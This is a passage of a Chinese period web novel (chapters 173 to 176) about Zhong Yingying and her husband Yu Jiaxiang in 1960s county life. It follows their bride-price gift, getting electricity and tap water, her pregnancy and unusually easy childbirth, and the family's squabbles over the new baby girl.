他找的媳妇对他真好，不喜欢的东西，都能为了自己忍让，以后他一定要对他媳妇更好。 余嘉祥决定，对媳妇好的第一步，就从掏老东西的钱包开始。 没办法，谁让他是个好丈夫，自己的工资早都全部上交了呢。 第173章 “爹，你这就走了？你真不再留几天？” 看着眼前这人，嘴上说着挽留的话，面上的笑容大的像太阳一样，明显心口不一。 余华容都不想承认这真是他儿子。 “莹莹，你跟嘉祥好好的，叔下次再来看你们。” 没让人喊爹是因为他彩礼见面礼什么的都没拿，他没这个脸。 “好的，叔，这包子您拿好，路上吃。” 钟莹莹适时的递上一包用油纸包的严严实实的包子，这是她起了个大早上国营饭店买的。 家里有生人，她实在睡不着。 她跟余嘉祥平日里都吃单位食堂，发的粮票啥的压根用不了一点。 余华容上了火车还在念叨着钟莹莹的好。 “我这个儿子不咋地，眼光倒是不错。” “找的对象长的好不说，还是个大学生。” “现在两人都有正式工作，虽然没有接我的班，但到了下面，我再见到嘉祥他娘，也不至于没脸见她。” 小王听余华容念了一路，耳朵都要起茧子了。 但这人是他的上司，他也只能顺着他的话往下夸：“打小我就看嘉祥是个出息孩子，虽然他脾气犟，但是随了您，天生的就优秀呐～” …… 余华容的事在钟莹莹的生活中只不过是最为简单的一个小插曲。 在他回了市里不久，钟莹莹就收到了他寄来的钱和票据。 “怎么样？我爹给你寄了多少钱？” 余嘉祥看着钟莹莹拆信封，在旁边火急火燎的一直问究竟给了多少。 钟莹莹慢条斯理的把钱和票分开，然后一张张数起来。 “五十张大黑十，还有*缝纫机票，手表票，收音机票，自行车票” “嗬～这老头子，诚意十足啊～” 余嘉祥也很震惊，明明这几年他已经给老头子兜里的钱掏走了不少了，他怎么还能拿出来这么多钱？ 殊不知余华容心里也苦啊，他一回到市里，就开始翻箱倒柜的找东西，但在家里也就找到一百多块钱，票啥的只有些粮票和副食品票。 总不能就拿这些给儿媳妇当彩礼吧？余华容丢不起那个人。 他本想去单位和同事先借一些，等到日后发工资了，再还给他们。 可这时候琬容找上门来，茶言茶语的给他说，如果有困难的话，她可以先借给他点钱。 琬容说这话本来只是意思意思，她知道余华容工资那么高，平常他又节俭的很，压根不可能会拿她的钱。 谁知道余华容当即大喜，直接就问她要了三百块钱。 琬容脸都青了，但她又不能不给，她还指望着余华容给她养儿子呢。 等到借完钱之后发现这钱是给余嘉祥媳妇的，她一口银牙都快咬碎了。 “手表我有了，你也不缺，这票我准备给我娘买一块手表，你有意见吗？” 余嘉祥：“怎么可能？咱娘辛辛苦苦把你养怎么大，我怎么可能会有意见？” “家里吃的喝的用的，那样不是她老人家给咱们张罗的，要是我给她买快手表都抠抠搜搜的，那我还是人吗？” 钟莹莹满意的点点头。 “那这手表票我就拿回家去了，缝纫机票可以留着自家用，你手工做的好，有个缝纫机，家里大大小小的活计，以后也能不求人。” “嘿嘿～我也这么觉得。” 缝纫机还没到手呢，余嘉祥就开始畅想起他把机器搬回家要干些什么事了。 “家里窗户和卧室的门可以搞块纱布封死，这样开门开窗都不怕进蚊子了。” “这大热天的，天天在家里拿个芦苇棒还有艾草把熏蚊子，热死个人哦～” “家里还是该有台电风扇，回头我问问舅舅，能不能给我弄一台回来。” “电风扇？”钟莹莹瞅他。 “买回来家里有电吗？” 余嘉祥当即呆愣在原地。 他们胡同确实还没通电，据马老太太说，之前有一次通电机会的，但是胡同里的人都嫌电线贵，愿意接电线的人不足十分之一，这件事也就不了了之了。 余嘉祥自打住进来，在家里照明一直用的就是蜡烛，煤油灯，还有插电池用的手电筒。 “要不，我上供电局问问去，能不能给咱家单独拉一条电线过来，大不了我加钱？” “接根电线，咱俩都不用遭罪了。” 天一热，钟莹莹都不愿意跟他睡一张床。 余嘉祥现在睡的是之前给他爹睡的那张单人小床。 这种日子他过够了。 能揽着香香软软的媳妇，躺在宽敞的大床上，吹着凉风，不比委委屈屈的缩在一张小床上舒服啊。 “那你问问去吧～”钟莹莹也愿意花钱买舒适。 这个时期，虽然说外面风声鹤唳，很多人都不敢出风头。 但钟莹莹怕什么，在公安局工作的姐夫都查不出他爹娘说的他们家以前的那些猫腻。 她就是大大的良民，还是往上数三代都地地道道的那种农民。 她的钱经得起查，每一分都清清白白干干净净的。 余华容一去供电局，那边很爽快的就同意了。 “之前我上你们胡同，他们都嫌贵，可局里说，人家别的县城都通电了，现在有一些都开始往农村发展了，就咱们县，不光没去农村，连城里的各大胡同都没能搞定。” “上市里开会的时候，你老兄这老脸都丢尽了啊～” 供电局的小董给自己的脸拍的啪啪作响，他是真感觉丢人。 钟莹莹敏锐的抓住他话语中的重点：“你们还想往农村发展？” 小董：“对啊！” “我有两个地方想推荐给你，如果这两个村子都拒绝通电，那你们跑别的村子也是白搭。” 小董皱眉：“哪里？” “我老家钟家岗，还有隔壁的村吴家村，如果这俩村子都同意接电的话，那你还可以上高家村去看一看。” 如今村里有余钱，大家伙的腰包都鼓了起来。 好些个把家里的土房子都给推了翻修成砖瓦房的。 钟莹莹觉得，村里人应当不会拒绝接电入村的事。 如果钟家岗接了电，那吴家村指定也会同意，吴村长那个老学人精，不会放过一丝一毫模仿钟家岗的机会。 “钟家岗？吴家村？” 小董对这两个村子有印象，这俩村都是县里有名的富裕大村，他家里的房是用吴家村的砖头垒的，灶房里的还放着钟家岗的咸菜坛子。 “回头我去试试看吧。” “谢谢你了。” 钟莹莹：“不客气。” “你算一下，我家这接电得补多少钱啊？” “不算公共线路政府补贴的钱，一共四十五块钱，我给你说，这钱真不贵了，等你们都接了电，这自来水厂也能运转起来，到时候家家户户自来水管和水龙头直接入户，哪还用你们天天拎着个水桶上胡同里的水井那打水啊！” 小董想不明白，明明接电线这种事情，国家都给了补贴了，还是有人犟的很，死活就是不愿意。 不就是交钱吗？平日里少下点馆子，煮饭的时候多放两碗水，省个几个月这些个钱也就出来了。 “偷偷告诉你们，我之前上另外一个胡同那，还看见有那死小孩把井盖掀开，往水井里撒尿的。” “当然，不是你们胡同，你们放心啊，但是，话又说回来，你们能保证你们胡同里没有那糟心的娃，往井里吐口水，撒尿的吗？” 钟莹莹听完他这话，整个人都不好了。 一想到之前自己喝进肚子里的，冲到身上的水里有人的尿，甚至还是新鲜的尿。 她都想把那人给人道主义毁灭了。 “董哥，咱们这接自来水管什么章程你知道吗？” 小董讶异的看钟莹莹一眼，他还没怎么发挥呢，这人就准备接水管了。 “你上自来水厂去问一下就知道了，我媳妇就是干这活的，你去直接报我的名字，说找朱敏。” 他媳妇跟他一样，都是苦命人，俩人在局里/厂里人微言轻，分到的活也俱是最琐碎麻烦的。 要不是为了他媳妇，他才不会遇见个人就给人洗脑，费劲吧啦的推销铺设自来水管的好处。 “谢谢啊，董哥，等回头我就上厂里找朱敏姐去。”钟莹莹笑眯眯道。 她不介意对方有小心思，给自己家人拉活。 安设自来水对她自己也有好处，有了自来水，她就能在院里搞个淋浴房，在院墙边上搞个桌子，把木桶开个口插个塑料管放上去。 用的时候往里加热水，不用的时候还能拆了拿进屋里，不要太方便。 这天热了，余嘉祥一天得跑两趟去水井那块拉着他的小推车提水。 每天都累的大汗淋漓，虽然活不用自己干，但是钟莹莹还是心软了。 这人赘到自己家，自己也不能把他当成牛马使唤啊。 以后还是自己孩子爹呢，要是年轻的时候累出一身病来，那以后不还是苦了孩子。 钟莹莹的月经晚了半个月还没来，她总感觉孩子已经在肚子里了。 由于月份小，去医院也检查不出什么名堂来。 她准备再过一个月要是再不来月经，再上医院检查去。 对于生孩子，她其实是有些恐惧的。 但既来之则安之，孩子来了，正当途径来的，她也不能给她打了。 凭心而论，她其实还是想要个和自己血脉相连的娃的。 第174章 “高考没了？你俩不想读了？” 陈显英抄起竹条就想给孙子孙女一顿竹笋烧肉吃。 “奶奶，你别打，这真的不怪我俩啊，学校现在压根就没人学习，老师也不讲课了，我俩在学校压根就学不到东西。” “对啊，奶奶，班上同学都疯了，不参加游街活动的，他们就要给剃阴阳头，姑姑不允许我俩搞那些邪门歪道的东西，可这样我俩在学校根本生存不下去，再不回老家，我同学都能给我头发给刮喽～” 丽丽特别苦恼，她比钟新澄念书早，这马上就要高考了，学校通知高考没了，她留在学校也就只能混个毕业证，其他一点好处也没有，还有被人弄去批斗的风险。 “那你们也不能都不跟家里人说一声，就退学了啊！” 陈显英给钟新澄追的上蹿下跳的，到处寻求躲避的地方，想躲过那根竹条。 “哦～奶，疼～别打了，我知道错了。” 细细的竹条一竹条抽下去就是一条凸起的红印，钟新澄疼的倒吸一口凉气。 “不打你知道听话吗？哪有孩子像你俩这样的？” 陈显英嘴上凶狠，实则受伤的动作已经慢了下来。 刚刚抽到人也不是她故意的，她拿竹条也就是想吓唬吓唬孩子。 钟新澄见她态度松软下来，立马求饶道：“奶，下次我们不会了，你就饶了我俩这一回吧。” “我退学手续还没办呢，老师让我们回来跟你们商量好了再回学校办手续去，如果你不同意，那大不了我再回学校上学去，成不？” 陈显英：“回什么学校？没听丽丽说吗？回学校你俩不搞那劳什子活动，是想被剃头吗？” “哎呦喂～这也不行，那也不行，我的奶，你究竟想我怎么办哦～” 钟新澄急的直跳脚。 钟莹莹就是这个时候回来的。 因为怀疑肚里有娃，她不敢颠簸，一直等到满两个月去医院做了检查，才让余嘉祥骑车带她回了村。 “娘，这是怎么了？我瞅这外面也没下雨啊？怎么就打起孩子了？” 陈显英把竹条一扔：“你问问他俩为什么挨打？这好好的学说不上就不上了。” “你俩解释解释～”钟莹莹扭头看着俩好大侄。 “姑姑，是这样的……”丽丽给钟莹莹好一番解释，钟莹莹才搞明白了究竟是怎么一回事。 余嘉祥给她搬来椅子，她一屁股坐了上去。 然后才缓缓开口：“这个学不是不能不去……” 一听她说这话，钟新澄立马就跳了起来。 “奶奶，你看，姑姑都说不能去学校。” 钟莹莹：“你闭嘴，先听我说。” 自打确认怀孕之后，钟莹莹总觉得自己的脾气好像变得暴躁了，老是动不动的就想发火，看一切雄性动物都不顺眼。 她怀疑是激素作祟，幼崽在保护自己，不让自己和异性接触，防止产生威胁它的行为。 “学校可以不用去，但是毕业证你俩得拿，丽丽你都读到高三了，高中毕业证不领，你出去就只能说你是初中毕业的，自己不觉得亏的慌吗？” “还有” “万一以后恢复高考，你俩还想再继续考大学，这没高中毕业证，你俩是不是还得再重读一遍高中，再浪费三年？” 丽丽听完钟莹莹的话就反应过来了。 “姑姑，你是说，我们办理停课，等时间到了再去学校考试拿毕业证？” 钟莹莹点点头。“对。” “我等周一回学校就给老师说，还有一个月就考试了，我就说家里有事，给老师请一个月假，等期末去考个试，把证拿了就回来。” 得到指点，丽丽很快就把自己之后要做的事给安排得妥妥当当的。 轮到钟新澄傻眼了。 “丽丽还有一个月毕业，可我还有一年零一个月才能毕业呢，姑姑我咋办啊？” “你跟丽丽一样请假不就成了吗？” “可一年的假呢，老师能批吗？” 钟莹莹沉思良久，这确实是个问题。 陈显英没好气说：“老师不给你批，你就说你奶要死了，你爹喊你回家尽孝！” 这一天天的，熊孩子净给她找事，她没死都快被气死了。 钟新澄眼睛一亮。 “奶，你可真聪明，我说你病了，老师一定拒绝不了。” 钟莹莹：“……” 这孩子没救啦，一点情商都没有，正反话都听不懂。 不过她娘的办法确实很大可能可以奏效，就是有点不太道德。 在好大侄又挨了他爹一顿爱的教育后，俩人不去上学，在家待业的主意就这么定了下来。 陈显英得知钟莹莹有崽了之后，在家一向是个宝的钟莹莹也破天荒的挨骂了。 “你这肚里揣着崽，还没满三个月，瞎跑什么啊？” “嘉祥你也是，你不知道看着点你媳妇吗？” “县城往村里来的路这么颠簸，你骑着个自行车，万一轧着小石子，摔着我的好大孙，你俩拿什么来赔？” 钟莹莹：“娘，我那不是着急回来想把这好消息也告诉告诉你吗？” 陈显英：“你让嘉祥自己来不行啊？他说话你娘听不懂还是咋的？” “这都要当娘的人了，怎么还这么不着调啊？” “挪挪屁股，这个椅子三条腿，摇摇晃晃的，不灵光的，等下摔着你了可没人负责。” 她给钟莹莹换了个新板凳后，又朝着门外大喊：“钟伟先，这破椅子，早让你修你不修，不知道咱闺女喜欢坐小椅子啊？你是不是故意的？” “啊哎哎啊～疼～孩她娘，我真不是故意的，我就打算修呢～” 屋外爹娘吵吵闹闹的，钟莹莹跟余嘉祥坐在堂屋里，心里安定的不得了。 转头看见余嘉祥在她边上，她又不爽了。 “你，去给我上园子里摘根黄瓜去！” “好～”余嘉祥温和的答应了一声，起身就去了院子里。 对于钟莹莹这段时间的反常，他早有体会。 医生给他说了，怀孕期间的情绪波动是正常的。 他还去找黄有德打听了，可惜没打听出什么名堂来。 黄有德上一任媳妇怀孕时，他完全不知道什么状况，后来跟钟明芳结婚，俩人也没再生。 不过余嘉祥虽然没打听出照顾孕妇的经验，但是在黄有德那学到了特别有用的一招，那就是结扎。 人心易变，在有着那么多海誓山盟的前提下，他爹能在他娘死后，轻易变心，他不敢保证，传承了他爹血脉的他骨子里会不会有这种劣质基因。 余嘉祥不敢赌，也不想赌。 他准备，等他媳妇一生完孩子他就结扎去，直接斩断孽根，这样也不怕将来他变心，他的孩子跟他小时候一样受苦受难。 只有一个孩子的前提下，任谁也做不出苛待孩子的事来。 “娘，今个菜怎么这么淡啊？家里油辣椒还有没有，我去夹一碟子出来。” 钟莹莹从小就爱吃辣，尤其这炎炎夏日，不来点开胃的，她是真吃不下去饭。 陈显英给她按回座位上。 “吃什么油辣椒？你现在是双身子的人，肚子里的孩子要紧，吃食上要多注意些，现在比以前强。” “娘生你那会儿家里穷，也没什么可吃的，能吃饱饭就已经很不错了。” “你现在条件好，想吃什么都能买来，但是也得注意，嘉祥，娘不跟你们住一起，你别什么都顺着她，一会儿娘给你说说什么能给她吃，什么不能给她吃，你记好了，等回县里，替娘好好盯着她。” 她闺女啥人她知道，什么都好，就是管不住嘴。 想吃的东西不管啥时候，一定要搞到嘴才能算完。 “娘，我问了医生，医生说适量吃一点辣椒，没关系的。”余嘉祥替钟莹莹解释道。 钟莹莹也跟着附和：“娘，你闺女壮的跟个牛犊子一样，什么吃不得？” “要是我就吃两口辣椒，这孩子就不得行了，那我看她也没有被生下来的必要，弱者不配当我的孩子。” 陈显英：“？” “你说什么？再说一遍？” 眼见着她要发火，钟莹莹哪还敢说啊。 她秒认怂道：“娘，我什么也没说，你听错了～” 陈显英虽然很想打孩子，但是现在特殊情况，她也只能忍气吞声，放了这熊孩子一马。 第二天临回县里时，陈显英给钟莹莹装了一大兜东西，完了等要往自行车上拎时，她又把东西全都给拿了下来。 “这破车子带点东西就晃啊晃的，你俩别拿了，等明天我让你爹赶牛车给送去，到时候多带些东西过去。” 在陈显英心里，就算已经成了家，有了孩子，她闺女仍旧是她闺女，还是个孩子呢，能懂什么？ 余嘉祥骑着自行车载着钟莹莹，慢悠悠的行驶在回程的路上。 微风拂过他的面颊，他惬意的道：“真好啊～” 钟莹莹问：“什么真好？” 他声音狡黠，故作神秘道：“不告诉你！” 钟莹莹：“你不说我还不想知道呢。” 肚里有了金疙瘩，她现在对男人已经提不起兴趣了，他爱咋咋地。 她不问，余嘉祥反而来了倾诉的欲望。 “我给你说，我想说的是爹娘对咱俩真好～” “你看啊，家里就那些个菜，他俩恨不得把家都给咱俩搬空了，哥嫂也好，一听说你怀孕了，就说要给孩子做衣裳，姐姐姐夫人也好，这还没怎么着呢，他俩就寻摸着给咱俩换奶粉票了。” “还有木木和丽丽，把攒的压岁钱都拿出来了。” 钟家一大家子是很有爱的一家人，余嘉祥在自家的时候从没有这种体会。 他住舅舅家，舅舅和舅妈对他好，但偶尔舅妈心里也会有怨怼，他在钟家，钟家人就完全没有这种意思。 赘给钟莹莹可以说是他这辈子做过的最正确的决定。 第175章 “哎呀～我的小祖宗啊，都什么时候了，你怎么一点也不着急啊？” “你这羊水都破了，快上车我们去医院啊！” 刚过完年陈显英就直接住到了钟莹莹家里，每天照顾女儿的一日三餐。 村里忙，钟伟先要留在村里，但是他把家里的板车给拉来了城里。 为的就是闺女要上医院，能及时给她驮过去。 钟莹莹自打怀孕以来，就没遭多少罪，肚子里的孩子很让人省心，从来没有闹腾过她。 所以她现在对生孩子也没多少恐惧，而且她还发现了空间新用法，从前她都找介质都是水土之类的外在固液体。 但是有一天她突发奇想，人不也是一种介质吗？那她的空间能力为什么不能直接作用于人体呢？ 她比较谨慎，没有一上来就对自己下手，而是先用她娘从家里带来的活母鸡练习了下。 母鸡每天早上都要下蛋，钟莹莹就起了个大早抓住它，施展能力，一颗热乎乎完整的鸡蛋果不其然就直接越过母鸡的泄殖腔，直接进到了她的空间里。 而母鸡自个儿也好好的，没有一丝一毫的受损。 钟莹莹想，如果到时候生孩子太难受了，不顺利，她就做下弊，自己把孩子给弄出来。 艺高人胆大，发现自己能力的特殊用法后，她彻底的放宽了心，每天该吃吃，该喝喝。 “娘，没事的，咱们慢慢来，去医院近的很，嘉祥拉着车不到十分钟就能到医院。” “你别跑那么快，仔细摔倒了，要不，你也上车坐着？” 钟莹莹被搀扶着躺在铺着厚被褥的平板车上，还有心思跟她娘开玩笑。 大冬天的，因为着急，陈显英额头冒出一层细密的汗珠，闻言真想给这熊孩子两下。 一家人都为着她的事着急呢，她在这净捣乱。 不过被她这么一搅和，陈显英心中的紧张倒是真削减了不少。 被推进产房后，医生护士接替了余嘉祥跟陈显英的工作。 余嘉祥在产房门外等待期间，整个人控制不住的发抖。 陈显英看着都害怕。 “嘉祥啊，你没事吧？” 想到临进产房还笑嘻嘻的闺女，她怎么感觉产房外的这个，比产房里的她闺女看起来还想产妇呢？ 余嘉祥努力克制住自己的情绪，佯装正常的对陈显英道：“娘，我没事，我就是有点担心。” 陈显英安慰他也安慰自己道：“别担心，我看咱家莹莹状态好着呢，这身体好的人生孩子风险就没那么大，我闺女一定平平安安的。” 县医院的产房灯火通明，余嘉祥跟陈显英在外面焦急的等待着。 大约过了一个多小时，伴随着几声婴儿响亮的啼哭声，产房的门打开，医生摘下口罩，一身轻松的朝外面喊：“哪位是产妇钟莹莹的家长，快来抱下孩子！” “诶～来了，医生，我闺女呢？” 陈显英的反应极快，当即就从医院走廊的长椅上站了起来，冲到医生面前，接过孩子后看都没看一眼，就把孩子丢给了孩她爹。 “产妇马上就出来，家属不要担心。” 医生沉稳的安抚着陈显英的情绪。 这场手术真的是她从业以来，接手的最简单的一例手术。 没有错位，没有撕裂，没有难产……以往所有手术中可能会遇到的困难这次她都没有遇到。 手术顺利到不可思议，那花费的一个多小时，更多的是他们医生护士在做术前准备，产妇真正生产的时间可能连五分钟都不到？ 说句难听的，有些便秘的病人，拉泡屎都比这难。 手忙脚乱调整动作抱孩子的余嘉祥的全部心思也放在产房内的钟莹莹身上。 等到护士把钟莹莹从病房里推出来，见到她神志清明的跟他们打招呼。 余嘉祥和陈显英才放下心来，一道跟着护士一块进了病房。 交代注意事项的时候，护士笑着对陈显英说：“我就没见过跟你家姑娘这样的，刚躺到产床上，咱们的江医生还没来得及动手呢，那孩子就跟瓜熟蒂落一般，噗的一下就生出来了。” “连血都没出多少，江医生就着手剪脐带，清理产床了。” “你家这大胖丫也省心的很，要不是一声拍她屁股，那生下来哭都不带哭一声的，那乌黑的大眼珠子滴溜溜的转啊，一看就机灵。” “大娘，我给你说，人人都道男孩好，我看你家这女孩也是个有大出息的，好好养，将来指定比男孩强。” 小护士见多了产妇进产房跟出产房家属两副面孔的，不为别的，就因为产妇生了个女娃娃。 她是想不明白，这生男生女不都是自己的娃娃吗？怎么一生个女孩子就跟要他们命一样。 要不是实在喜欢她亲手接生的这个大胖丫，她也不会多嘴。 “哎呀，借您吉言，我瞅咱家这个宝贝小孙女将来也是个有大出息的。” “这孩子看着就随我闺女，那长大指定差不了。” 陈显英从来就不是个重男轻女的，更何况这生孩子的还是她亲闺女，这孩子以后要跟她闺女姓的。 一听小护士说她家孩子好，她乐得当即从余嘉祥随身携带的待产包里掏出来一把又一把奶糖，给小护士白大褂上的几个口袋都塞的满满的才肯罢休。 “大娘，使不得，使不得，这糖那么贵，我不能拿你们这么多东西。” 小护士看见这么多糖，虽然也很眼热，但她也不想展人家产妇便宜。 陈显英不理会她的推拒，在她看来，能让她闺女平平安安把孩子生下来，那让她付出什么她也愿意。 “孩子，听大娘的，你拿着，吃不完的，你回办公室给其他医生护士也分分，咱家这宝贝孙女爹娘都有正式工作，你们给孩子平安接生下来，拿点东西是应该的。” “那大娘，我就不客气了。” 不是让自己全都拿着，小护士的心理压力就没那么大了。 钟莹莹躺在床上，看她娘和小护士为了几把糖推来推去的，还龇着个大牙在那乐呢。 “嘉祥，你看咱娘，这高兴都找不着北了。” 好半晌没听到余嘉祥回她，她气鼓鼓的抬头一看，人家正抱着闺女跟闺女大眼瞪小眼呢。 “噗呲～你俩这是干什么呢？给我表演杂技呢？比谁先闭眼？” 余嘉祥用求助的眼神看着钟莹莹，想让她把自己怀里的孩子抱走。 钟莹莹立马道：“你别看我啊，我也帮不了你。” 她生孩子作弊没遭罪，那她也是个产妇，抱孩子这种重活她是干不了一点。 指望不上自己媳妇，他又去可怜巴巴的望着他丈母娘。 陈显英看着不争气的女儿和女婿，一把将孩子夺过来抱在自己怀里哄。 “我的乖孙呦～奶奶抱～瞅咱这小脸蛋，这小鼻子，小眼，有模有样的，村里孩子就没有比你还俊俏的。” 钟莹莹：“娘，过了啊！她才多大一点，你就看出来这么多？” 陈显英白她一眼。 “多大也是咱家的宝贝，我夸夸自家孩子怎么了？” 钟莹莹：“得得得，我不说了，您夸吧！” 合着这有了孙女，她这个宝贝闺女就靠边站了。 钟家其他人在得知钟莹莹提前发动后，很快也都来了医院。 确认钟莹莹身体没出任何问题，一大群人围着孩子亲香啊。 一个不注意，钟新澄跟丽丽她俩就因为争夺谁先谁后抱孩子的问题，出了病房就开始上演全武行。 “我是姐姐，我要先抱。” 十几岁的小丫头，看着稚嫩，手上的力气却不小，身下被她压着的弟弟被掐的脸上胳膊上一道一道道红印。 “我是哥哥，我要先抱。” 虽然被抢占了先机，让人压在身下，钟新澄也不甘示弱，他手一伸，就拽住了丽丽的麻花辫。 俩人谁也不让谁，撕扯的特别厉害，到最后都泪眼汪汪的。 但俩人还算有分寸，打架归打架，还知道医院不能吵闹，只一味的在地上翻滚扑腾，努力的想压制对方。 陈显英一出病房门差点一脚踩到他俩身上去。 她皱眉。 “你俩这干什么呢？衣服不要你俩洗是吧？钟新澄，这过年刚做的新棉袄，你就搞一身灰！你等回家我给你娘说去！” 如今孩子大了，陈显英轻易不对他们动手动脚的，有什么都让他们自己爹娘解决去。 “还有你，丽丽，你回家看看，你娘鸡汤熬好了吗？你姑姑还等着吃饭呢！” 奶奶一发话，他俩只能不情不愿的从地上爬起来，拍了拍身上的灰。 “木木，你也别给我闲着，不是争谁先抱娃吗？你小妹妹刚换的尿布，你上你姑家给洗了去。” 刚爬起来的钟新澄身上的痛意都没消散呢，就被兜头砸来臭烘烘的尿布给砸懵了。 “奶，你让我洗尿布啊？”钟新澄不敢置信的问。 陈显英瞅他：“咋？不想洗啊？” “你不是说你是孩她哥吗？连几片尿布都不愿意洗，还当人家哥呢？” “洗，我洗还不成吗？”钟新澄被她的话一激，当即就拿了尿布要去钟莹莹家洗尿布去了。 在他俩走后，陈显英对着他的背影露出了得逞的笑容。 “小样，跟我斗，你们还嫩着啊 第176章 “你是谁家孩子？我怎么没见过你？” 钟新澄刚到桂花胡同那小院，拿出钥匙正要开门，就被人叫住了。 “叔叔，你好，我姑姑在这住，我回来给她洗东西的。” 对于不认识的陌生人，钟新澄显得有些拘谨。 “你是钟莹莹的侄子？她生了？” 钟新澄点点头：“嗯。” “男孩女孩？” “是妹妹。” “小丫头片子啊？行了，你走吧！”得知钟新澄跟余嘉祥生了个闺女的四眼心情大好，直接大手一挥，放过了钟新澄，自己回家去了。 钟新澄只觉得奇怪，他准备等回了医院问问钟莹莹，这是哪来的怪人。 现在比较重要的还是洗尿布的事。 冬天的自来水管特别容易冻住，也不知道余嘉祥在管道外面包了什么，他家小院的水管一直是畅通无阻的。 就是这水，属实有些冻手。 陈显英嘱咐他要上屋里取了热水，混着冷水一块洗，但是他不耐烦这繁琐的步骤，仗着自己年轻，放了冷水，直接就开洗了。 “嘶～这水真凉啊！” 刚把手插进水盆里，钟新澄就体会到了城市自来水的威力。 他小声嘀咕道：“城里一点也不好，不像村里。” 他们村里的井水冬天也是温的，不像这水，刺骨的寒冷。 顾不了这么多了，钟新澄强忍着寒意，双手不停的揉搓那不大的布料，等搓个差不多，又迅速的把脏水倒了，加入新的冷水。 洗第二遍时，他才把尿布上打了一遍肥皂，细细从上到下都用棒槌锤了个遍。 “唔……这下应该洗干净了！” 说着他把洗净的尿布拧干搭在了院中的晾衣绳上后，又将水笼头用厚厚的稻草给包裹好。 等他将全部等活计给干好，绳上晾晒着的尿布已经变得梆硬梆硬*的。 “这鬼天气，洗个尿布都晾不干！” “姑姑说的新尿布放在哪来着，衣柜的下面？唔，这可真难找啊！” 钟新澄掏了半天，终于在衣柜的角落里掏出来一兜叠的整整齐齐的尿布。 余嘉祥揣着新买的奶粉正回来拿尿布呢，就见自家的院门开着，他以为有小偷，赶紧的进了院子，在墙角拿了铁锹，悄摸的掂起铁锹就上屋里去了。 “姑父！你这是……” 钟新澄一回头就看见余嘉祥抄起铁锹要拍他的头，他二和尚摸不着头脑般的问了一嘴。 余嘉祥些尴尬的放下铁锹。 “那啥，我怕铁锹放院里，沾了雪水会生锈。” 钟新澄：“哦！” “我奶让我过来给妹妹拿尿布，你瞅是我手里这个不？” “还有院里我洗的那些尿布，姑父，我感觉放院里晒它也晾不干啊！” 余嘉祥：“不用晒，一会儿我给收进来，放在炉子上烤，烤一烤就干了，娘不是让你拿尿布吗？快就是这兜，你先上医院去，姑父一会把家里这尿布弄干了再去。” 钟新澄再不走，他都要尴尬死了。 好悬没把侄子当小偷一铁锹给拍进医院了，要是那铁锹真拍下去，余嘉祥连自己埋哪都想好了。 等钟新澄走后，余嘉祥把尿布用架子架在炉火上烘烤，又将家里里外外给收拾了个干干净净。 等尿布烘干的差不多，他移开架子，开始做起晚饭来。 医院里的他媳妇嘴叼，但是丈母娘只给吃鸡汤还有一些没甚味道的东西，他媳妇已经跟他抗议很多回了。 余嘉祥没辙，媳妇跟丈母娘他都得罪不起。 看媳妇身体状态还成，他去问了医生，确定稍微带点味道的东西对产妇没什么不良影响后，他才回家给钟莹莹弄吃的。 没敢搞太复杂的，他媳妇就想要个辣酱，他在炉子上熬酱的时候，加了一点点干辣椒，还有蒜苗和蒜瓣，这个辣椒主要放的是黄豆酱，与它的名字相比有些名不属实了。 除了酱之外，他又炒了一盘鲜灵的绿豆芽，这豆芽是他自己发的，外面没得卖。 住院这段时间，大姑姐给做的全是些肉菜，他自己跟着混吃混喝都有些腻了，他做点素的，可以刮刮油。 从国营饭店买的馒头也让他在炉火上烤了一下，等馒头外表皮烤的酥酥脆脆的，他才拿油纸将馒头包起来，连带着之前做的菜，各用一个饭盒装好，用绳子系紧。 最外面再用棉袄给包住保温，等将所有要带的东西都给装进背篓里后，他才背上背篓，一层层锁了自家的门，出了院子。 “哟～这不余嘉祥吗？听说你媳妇生了个闺女啊！恭喜恭喜。” 余嘉祥一抬头就望见四眼那个神经病坐在他家的院墙上，不知道偷窥自己偷窥了多久。 外面雪下那么大，他身上落了一层白，也不嫌冷。 四眼看余嘉祥不答话，还以为自己戳到了余嘉祥的伤心事，继续自顾自的说：“你生了个闺女也别太难过，以后还有机会的，你家这个闺女要是不想要，我给你说，我有法子。” 他翻身从墙上跳下来，刚一触地，就脚下一滑，一屁股坐在了地上。 他讪笑着说：“那啥，一点小失误，别太介意～” 余嘉祥冷冷的看着他，想看他还能说出什么花来。 四眼神神秘秘的凑过来开口道：“我给你说，我听说有人家在找那个，就是那个那啥的童养媳，他家老爷子身体不大好了，就想着给他儿子弄个丫头片子去冲冲喜，我觉着你家这个挺好的。” “我……” “好你爹……四眼你他爹的找死！” 余嘉祥嗙铛一圈就砸在了四眼鼻梁上。 “你让我宝贝闺女给人冲喜？我让你全家都报丧去！” 一拳又一拳的砸在四眼身上，眼冒金星，鼻血直流的四眼恍惚间又回到了去年在办公室里挨余嘉祥打的瞬间。 “哎呀，别打了，别打了～大家邻里邻居的，这大过年的，打架多伤和气啊！” 一直到马老太太从院里出来拉架，四眼的意识才从飘忽中醒过来。 他窝在马老太太家院外的墙根处，捂着自己的鼻子，颐指气使的对余嘉祥道：“我跟你说，你完了，我要上公安局告你去！” 余嘉祥不屑的切了一声：“你去啊！” “你不去我还要去呢，我还没见过搞封建迷信的人，会上公安局自投罗网呢！” 四眼的脸色有一瞬间的僵硬。 该死的，他怎么就忘了，现在外面抓的严的很，只要一碰见有人牵扯到这些，立马就会抓起来，送到某某会批斗去。 不过，他一想余嘉祥没有证据，他又支棱了起来。 “你胡说八道你，谁搞封建迷信了？明明是我在路上走的好好的，你跟发瘟似的，冲上来就给我打了一顿。” 他破罐子破摔道：“反正上了公安局，你说我封建迷信你没证据，但是你给我打成这个样，马老太太可是人证，你得赔我医药费。” 余嘉祥轻笑一声：“我没证据？” “我没证据我哥有啊，他在我们县公安局大小也算个领导，你放心，人家办案严明的很，不管什么鸡零狗碎的事，他都能查到一清二楚。” “他不会冤枉一个好人，但也不会放过一个坏人。” 四眼本就是个欺软怕硬的，一听余嘉祥在公安局有人，他跟之前在办公室里那次一样，怂的速度别人拍马也追不上。 他利落的从地上爬起来，嘴里嘀咕着：“我大人有大量，才不跟你这小年轻一般计较呢！” 一边嘀咕，他一边跑路了。 马老太太在边上都傻眼了：“这……” 余嘉祥道：“老太太，没事了，外面雪大，路滑，你回家去吧。” 在四眼那里今天这事算是过去了，但在余嘉祥这里还不算完。 他自己小时候因为没了娘，在自己家里，反而像是在过寄人篱下的日子，吃尽了苦头。 有了闺女以后，他就想着，一定要让他闺女过上好日子。 